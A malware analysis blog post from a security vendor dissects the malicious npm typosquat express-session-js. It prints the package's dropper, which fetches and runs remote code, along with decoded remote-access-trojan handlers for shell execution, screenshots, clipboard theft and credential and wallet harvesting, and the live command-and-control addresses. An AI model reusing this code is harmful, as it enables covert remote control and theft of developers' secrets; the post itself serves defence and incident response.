Malicious npm Package express-session-js Drops Full RAT Payload
Table of Contents
TL;DR
[email protected] is a malicious npm package that typosquats the popular express-session middleware (60M+ weekly downloads). It contains a dropper that fetches a ~93KB obfuscated payload from a paste service and executes it dynamically using Function.constructor on every require(). Static deobfuscation of the stage-2 payload reveals a full Remote Access Trojan (RAT) and information stealer that connects to 216[.]126[.]237[.]71 via Socket.IO, with capabilities including browser credential theft, crypto wallet extraction, screenshot capture, clipboard monitoring, keylogging, and remote mouse/keyboard control. Multiple indicators link this package to the Contagious Interview campaign, a DPRK/Lazarus operation that has published 338+ malicious npm packages.
Impact:
- Full remote access to the compromised system (mouse, keyboard, screenshots, clipboard)
- Browser credential theft (Chrome, Brave, Edge, Opera Login Data, Cookies, Web Data)
- Crypto wallet browser extension data theft
- SSH keys, GPG keys, npm tokens, and sensitive file exfiltration
- System information harvesting and file upload to attacker infrastructure
Indicators of Compromise (IoC):
- Package:
[email protected]on npm - C2 URL (dropper):
hxxps://jsonkeeper[.]com/b/YY8VI - C2 IP (RAT):
216[.]126[.]237[.]71 - C2 Ports:
4801(socket.io + API),4806(file upload),4809(browser DB sync) - Attacker UID:
a36adbc35e69b22acbf9f834a0deb286 - PID file:
~/.npm-compiler/<process.title> - Temp directory:
~/.npm-cache/__tmp__/ - Globally installed npm packages:
socket.io-client,screenshot-desktop,clipboardy,@nut-tree-fork/nut-js - Maintainer:
judebelingham <viktoryavorovskiy@ukr[.]net> - SHA256 (tarball):
b5cca27ca1d792bd8c46b83fccfa4e5ba38916eb78877a19cbb39392ce98cc39
Analysis
Package Overview
express-session-js was published on April 1, 2026 at 19:58 UTC by judebelingham. It has exactly one version: 1.19.0. The real express-session is currently at 1.18.1, maintained by dougwilson and ulisesgascon, so the version number was chosen to look like the “next” release.
The package.json metadata is copied wholesale from the legitimate project:
// package.json (malicious){ "name": "express-session-js", "version": "1.19.0", "description": "Simple session middleware for Express", "repository": "expressjs/session", "license": "MIT"}The author, contributors, repository, homepage, and bugs fields all point to the real expressjs/session project. This is stolen metadata designed to pass a casual npm info check. The actual npm publisher is judebelingham <viktoryavorovskiy@ukr[.]net>, visible only in the _npmUser and maintainers fields, which are controlled by the registry and cannot be faked.
A search for other packages by this maintainer returns zero results: this is a throwaway account created for a single attack.
Execution Trigger
The malicious code executes as a side effect of require('express-session-js'). No install hooks are used. The entry point is index.js, which is a near-verbatim copy of the legitimate [email protected] source with two surgical additions.
First, line 30 adds a dependency not present in the original:
// package/index.js, line 30var req = require('request');The request module is not listed in dependencies (it would be resolved from the consumer’s dependency tree or fail silently). It is used solely by the malicious payload to make HTTP requests.
Second, the dropper function is injected at lines 604-621, with its invocation at line 702:
// package/index.js, lines 604-621function initPlugin(reqoptions = { headers: { bearrtoken: 'logo' }, url: 'https://jsonkeeper.com/b/YY8VI' }, ret = 1) { const mreq = (atlf) => { req(reqoptions, (e, r, b) => { if (e || r.statusCode !== 200) { if (atlf > 0) { mreq(atlf - 1); } return; } try { const handler = new Function.constructor('require', JSON.parse(b).data); if (handler) handler(require); } catch (err) { if (atlf > 0) { mreq(atlf - 1); } return; } }); }; mreq(ret);}// package/index.js, line 702initPlugin();A diff between the legitimate [email protected]/index.js and the malicious version confirms only three changes: the require('request') import, the initPlugin function, and its invocation call. The function is placed between getcookie() and hash(), sandwiched inside legitimate session management code where a reviewer might skip past it.
Stage-2 Payload: Deobfuscation
The paste service at hxxps://jsonkeeper[.]com/b/YY8VI hosts a ~93KB JSON blob. The dropper extracts .data from the parsed response (JSON.parse(b).data), but the actual JSON returned by the paste service wraps the payload under cookie:
// Response from hxxps://jsonkeeper[.]com/b/YY8VI{ "cookie": "function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5)..." // ~93KB obfuscated JS}JSON.parse(b).data evaluates to undefined with this structure, meaning the RAT payload would not execute through this specific dropper at the time of analysis. The paste service content is mutable though, so the attacker can rename the key to data (or update the dropper in a new package version) at any time.
A snippet of the raw stage-2 payload shows the level of obfuscation:
// Stage-2 payload from hxxps://jsonkeeper[.]com/b/YY8VI (truncated)function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5);var e=a();var f=e[b];if(c['JUoTLE']===undefined){var g=function(l){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',o='';for(var p=-0x1dd9+-0x2520+0x42f9,q,r,s=-0x1294+-0x22a+0x14be;r=l['charAt'](s++);~r&&(q=p%(-0x2190+0x1435+0xd5f)?q*(0xa*-0x223+-0x7dc+0x1d7a)+r:r,p++%(0xaab*0x3+-0xde5*-0x2+-0x3bc7))?n+=String['fromCharCode'](0x2258+-0x16b5+0x1c6*-0x6&q>>(-(0x16fe+-0x7f*-0x1b+0x2461*-0x1)*p&0x254a+-0x1de*-0x3+-0x2ade)):0x0){r=m['indexOf'](r);}/*...93KB continues...*/The obfuscated payload uses a standard JavaScript obfuscator pattern with:
- A 1,334-element string array shuffled by a rotation function (rotation offset: 369)
- Two decoder functions:
b()for base64 decode (custom lowercase-first alphabet),c()for base64 + RC4 decryption with per-call keys - A webpack-style module bundler with two internal modules
We performed full static deobfuscation by reimplementing the custom base64 decoder (alphabet: abcdefghijklmnopqrstuvwxyz before ABCDEFGHIJKLMNOPQRSTUVWXYZ) and the RC4 decryption in Python, then brute-forced the array rotation by evaluating the shuffle function’s checksum against the target value 804499. This allowed us to decode all 1,057 unique string references in the payload without executing any code.
Stage-2 Payload: C2 Configuration
Module 0x110 in the payload contains a JSON configuration object that was decoded to:
{ "uid": "a36adbc35e69b22acbf9f834a0deb286", "ukey": 804, "t": 8, "p": 4801, "kp": 4808, "lpt": 4809, "upt": 4806, "a": 216, "b": 126, "c": 237, "d": 71, "e": 216, "f": 126, "g": 237, "h": 71}Fields a through h are IP address octets. The payload constructs the C2 address by joining them with dots:
a.b.c.d=216[.]126[.]237[.]71e.f.g.h=216[.]126[.]237[.]71(same address)
The uid field is the attacker’s campaign identifier. The port fields map to different services: p (4801) for the main Socket.IO connection and API endpoints, upt (4806) for file uploads, and kp/lpt (4808/4809) for additional data channels.
Module 0x13d loads child_process via the require function passed from the dropper, giving the payload access to execSync, exec, and spawn.
Stage-2 Payload: RAT Capabilities
The outer loader spawns 4 detached node -e child processes, each a self-contained module. Combined, they form a full-featured Remote Access Trojan.
Remote Shell and Desktop Control (Command 1)
None of the RAT’s dependencies (socket.io-client, screenshot-desktop, clipboardy, @nut-tree-fork/nut-js, sharp) are bundled in the malicious package itself. Instead, the payload installs them globally on the victim’s system at runtime via execSync. This keeps the package tarball small and avoids static analysis tools flagging suspicious native modules in the package contents.
The decoded command 1 string array contains the literal install command:
'npm install -g socket.io-client ''--save --no-warnings --no-save -' // continues: '--no-progress --loglevel silent''Installing socket.io-client' // log message sent to C2 before installReconstructed from the decoded string fragments, the full install call is:
// Decoded from command 1 string arrayexecSync( 'npm install -g socket.io-client screenshot-desktop clipboardy ' + '@nut-tree-fork/nut-js --save --no-warnings --no-save ' + '--no-progress --loglevel silent', { windowsHide: true });The flags suppress all visible output: --loglevel silent and --no-progress prevent terminal output, windowsHide: true prevents a console window on Windows. The global install (-g) ensures the modules are available to the detached child processes that run independently from the original package.
After installation, the module connects to the C2 via socket.io-client. The connection uses Socket.IO specific options visible in the decoded code:
// Decoded from command 1 (socket.io connection)io('http://' + C2_IP + ':' + port, { reconnectionAttempts: 0, reconnectionDelay: 2000, // 0x7d0 timeout: 2000000, // 0x1e8480});It then registers 13 Socket.IO event handlers for full remote control:
// Remote shell executionsocket.on('command', (data) => { exec(data.message, { windowsHide: true, maxBuffer: 10 * 1024 * 1024, cwd: os.homedir() }, (err, stdout, stderr) => { socket.emit('result', { ...data, result: stdout, uid, t }); });});
// Screenshot capture (compressed via sharp)socket.on('screenshot', async ({ quality, sid }) => { let img = await screenshotDesktop({ format: 'png' }); img = await sharp(img).jpeg({ quality, mozjpeg: true }).toBuffer(); socket.emit('screenshotResult', { sid, img: img.toString('base64') });});
// Mouse control via @nut-tree-fork/nut-jssocket.on('mouseMove', async ({ x, y }) => { /* ... */});socket.on('mouseClick', async (button) => { /* LEFT/MIDDLE/RIGHT */});socket.on('mouseScroll', async ({ direction, amount }) => { /* ... */});
// Keyboard controlsocket.on('keyboard', async ({ type, key }) => { /* pressKey/releaseKey */});socket.on('keyCombo', async ({ modifiers, key }) => { /* e.g. Ctrl+V */});
// Clipboardsocket.on('getClipboard', async (data) => { /* read and exfiltrate */});socket.on('pasteText', async (data) => { /* write + simulate Ctrl+V */});A PID file at ~/.npm-compiler/<process.title> ensures only one instance runs. If another instance is detected, the new one exits silently.
Browser Credential Theft (Command 2)
The second module targets browser data directories across Windows, macOS, and Linux:
- Chrome:
Google/Chrome/User Data,.config/google-chrome - Brave:
BraveSoftware/Brave-Browser/User,.config/BraveSoftware/Brave-Browser - Edge:
Microsoft/Edge/User Data,.config/microsoft-edge - Opera:
operasoftware.Opera - LT Browser:
LT Browser/User Data,.config/lt-browser
From each browser profile (Default, Profile 1, etc.), it extracts three SQLite databases: Login Data (saved passwords), Cookies, and Web Data (autofill). On macOS, it also steals the login Keychain:
// Decoded from command 2await uploadFile(process.env.HOME + '/Library/Keychains/login.keychain-db');Crypto Wallet Extension Theft (Command 2)
The same browser theft module scans Local Extension Settings/ directories for crypto wallet extension IDs:
nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask)aholpfdialjgjfhomihkjbmgjidlcdnobfnaelmomeimhlpmgjnjophhpkkoljpaaeachknmefphepccionboohckonoeemgegjidjbpglichdcondbcbdnbeeppgdphppbibelpcjmhbdihakflkdcoccbgbkpohifafgmccdpekplomjjkcfgodnhcellj... (24+ extension IDs total)It copies each wallet’s LevelDB storage to a temp directory (~/.npm-cache/__tmp__/) and uploads all files to hxxp://216[.]126[.]237[.]71:4809/upload via FormData.
Sensitive File Scanning (Command 3)
The third module recursively scans the user’s home directory for sensitive files:
- SSH keys:
.ssh - GPG keys:
.gnupg - npm credentials:
.npmrc,.npm - Cloud credentials:
.aws - File patterns:
*.pem,*.key,*.secret,*.env*,*.csv,*.sqlite,*.pdf,*.doc*
It skips common non-sensitive directories (node_modules, dist, .git, cache, etc.) and uploads matching files under 5MB to the C2.
Data Exfiltration
Stolen data is sent to 216[.]126[.]237[.]71 through multiple channels:
- Socket.IO on port
4801: bidirectional command and control, shell results, screenshots POST /api/service/makelogon port4801: operational logging, clipboard contentPOST /api/service/process/<uid>on port4801: system info, VM detection resultsPOST /uploadon port4806: file exfiltration viaFormDataPOST /cldbson port4809: browser database sync queries
At the time of writing, the C2 infrastructure is live. A Socket.IO handshake probe on port 4801 returned a valid session:
0{"sid":"INqUCe-RszMuKygCACih","upgrades":["websocket"], "pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}Port 4809 responded with Express.js headers, CORS wide open:
HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Only the three ports from the decoded config (4801, 4806, 4809) are open; neighboring ports (4802, 4803, 4805, 4810) are closed, confirming the infrastructure matches the payload configuration exactly. The dropper payload at hxxps://jsonkeeper[.]com/b/YY8VI also remains live (HTTP 200, 93,229 bytes).
Evasion
VM/sandbox detection uses platform-specific checks before reporting to C2:
// Decoded from command 1// Windows: WMI queryexecSync('powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer"');// macOS: system_profilerexecSync('system_profiler SPHardwareDataType');// Linux: /proc/cpuinfofs.readFileSync('/proc/cpuinfo', 'utf8');// All checked against: /vmware|virtualbox|qemu|parallels|kvm|xen|bochs|hypervisor/iAdditional evasion techniques:
- Error silencing:
process.on('uncaughtException', () => {})andprocess.on('unhandledRejection', () => {}) - PID file at
~/.npm-compiler/to avoid running multiple instances - Runtime dependency installation with
--loglevel silent --no-progressto suppress output - Spawned as detached processes with
stdio: 'ignore'andwindowsHide: true
Campaign Attribution: Contagious Interview (DPRK/Lazarus)
Multiple indicators tie this package to the Contagious Interview campaign, a North Korean state-sponsored operation attributed to a Lazarus subgroup (tracked as Famous Chollima, UNC5342, DeceptiveDevelopment, and Sapphire Sleet by various vendors).
C2 hosting on RouterHosting/Cloudzy (AS14956): The C2 IP 216[.]126[.]237[.]71 is hosted on AS14956 (RouterHosting LLC, operating as Cloudzy), documented by FOFA as Contagious Interview’s preferred VPS provider. Other IPs in the same /16 range have been confirmed as Lazarus C2 infrastructure: 216.126.229.166:1224 was flagged by ThreatBook, and 216.126.227.239 was identified by Red Asgard as Contagious Interview FTP infrastructure.
jsonkeeper.com as payload host: Using JSON storage services for malware delivery is a confirmed Contagious Interview TTP. NVISO Labs documented 16+ jsonkeeper.com URLs used by this campaign, and Microsoft confirmed the same pattern in their reporting.
OtterCookie malware toolkit: The combination of socket.io-client for C2 communication, screenshot-desktop for screen capture, sharp for image compression, and clipboardy for clipboard access matches the documented OtterCookie v4/v5 module set. The addition of @nut-tree-fork/nut-js for mouse and keyboard control may represent a capability upgrade to full remote desktop interaction, beyond the keylogging and screenshot capabilities documented in earlier OtterCookie versions.
Scale: This campaign has published 338+ malicious npm packages using typosquatting across the npm ecosystem.
Summary of Red Flags
| Signal | Detail |
|---|---|
| Single version | Only 1.19.0, no prior history |
| Version squatting | Real express-session is at 1.18.x |
| Stolen metadata | author, repository, homepage all point to expressjs/session |
| Throwaway maintainer | judebelingham has no other packages |
| Added dependency | require('request') not in the original |
| Dynamic code execution | Function.constructor with fetched payload |
| Mutable C2 | Paste service URL can be updated at any time |
| Full RAT payload | Remote control, credential theft, crypto wallet theft, keylogging |
| DPRK attribution | C2 on Lazarus-linked hosting, OtterCookie toolkit, jsonkeeper TTP |
What To Do If Affected
Remove the package immediately:
npm remove express-session-jsBecause the stage-2 payload is a full RAT with credential theft capabilities, any system that imported express-session-js should be treated as fully compromised:
- Rotate all secrets, API keys, and credentials accessible on the system
- Revoke and regenerate SSH keys and GPG keys
- Change passwords for any accounts with saved browser credentials
- Check crypto wallet extensions for unauthorized transactions
- Review npm tokens and revoke any that were stored in
.npmrc - Audit the system for persistence mechanisms (PID files, installed packages like
socket.io-client,screenshot-desktop,clipboardy)
How SafeDep Can Help
The free and open source tool vet integrates with SafeDep Cloud’s malicious package scanning service to detect threats like this before installation. vet-action provides the same protection as a GitHub Actions guardrail.
References
- npm registry: express-session-js (may be taken down)
- Legitimate express-session package
- NVISO Labs: Contagious Interview actors utilize JSON storage services
- FOFA: Tracking APT Contagious Interview IOCs
- Red Asgard: Hunting Lazarus Contagious Interview C2 Infrastructure
- The Hacker News: North Korean Hackers Deploy OtterCookie
- SecurityOnline: 338 Malicious npm Packages
- SafeDep analysis of express-cookie-parser typosquat (similar attack pattern)
- SafeDep analysis of multiple npm packages compromised
- vet
- cloud
- malware
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

axios Compromised: npm Supply Chain Attack via Dependency Injection
axios 1.14.1 was published to npm via a compromised maintainer account, injecting a trojanized dependency that executes a multi-platform reverse shell on install. No source code changes in axios...

Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor
Analysis of compromised litellm 1.82.8 on PyPI: a .pth file triggers credential theft, AWS/K8s secret exfiltration, and persistent C2 backdoor on install.

Compromised telnyx on PyPI: WAV Steganography and Credential Theft
Analysis of malicious telnyx 4.87.1 and 4.87.2 on PyPI — a package with over 1 million monthly downloads: injected code uses WAV audio steganography to deliver payloads that steal credentials and...

sl4x0 Dependency Confusion: 92 Packages Target Fortune 500
A sustained dependency confusion campaign by the sl4x0 actor likely targets 20+ organizations including Adobe, Ford, Sony, and Coca-Cola with 92+ malicious npm packages exfiltrating developer data...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
